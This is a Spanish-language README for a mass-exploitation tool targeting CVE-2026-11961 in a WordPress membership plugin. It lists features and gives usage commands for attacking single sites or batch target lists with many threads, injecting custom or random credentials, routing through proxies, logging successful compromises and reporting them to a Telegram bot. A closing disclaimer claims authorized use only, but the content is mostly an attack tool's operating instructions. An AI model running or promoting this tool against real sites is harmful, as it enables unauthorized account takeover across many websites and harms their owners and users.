CVE-2026-11961

Herramienta de explotación masiva para CVE-2026-11961 que afecta al plugin de WordPress User Registration & Membership.

Características

• Detección de versión del plugin
• Soporte para un único objetivo
• Procesamiento de objetivos por lotes
• Soporte multi-hilo
• Credenciales aleatorias o personalizadas
• Soporte de proxy HTTP/HTTPS
• Configuración de tiempo de espera de solicitudes
• Salida JSONL
• Soporte de archivo de registro
• Notificaciones de Telegram
• Modo forzado (--force)

Uso

# Show help
python3 mass.py -h

# Single target
python3 mass.py -u https://target.com

# Single target with custom credentials
python3 mass.py \
-u https://target.com \
--username admin \
--password "StrongPassword123!"

# Multiple targets
python3 mass.py -l targets.txt -t 20

# Save successful results
python3 mass.py -l targets.txt -o results.jsonl

# Write log file
python3 mass.py -l targets.txt --log exploit.log

# Telegram notifications
python3 mass.py \
-l targets.txt \
--tg-token YOUR_BOT_TOKEN \
--tg-chat YOUR_CHAT_ID

# Proxy
python3 mass.py \
-u https://target.com \
--proxy http://127.0.0.1:8080

# Force mode
python3 mass.py -u https://target.com --force

Opciones

Aviso legal

Este proyecto se proporciona únicamente para evaluaciones de seguridad autorizadas, investigación defensiva de seguridad y validación de vulnerabilidades.

Al utilizar este software, confirmas que tienes autorización explícita para evaluar los sistemas objetivo. El acceso no autorizado a sistemas informáticos está prohibido y puede violar las leyes aplicables.

El autor y los colaboradores no fomentan ni toleran el uso no autorizado de este proyecto y no asumen responsabilidad ni obligación alguna por el mal uso, daños o consecuencias legales derivados de su utilización.

Autor

JohenLastGen JLG NETWORK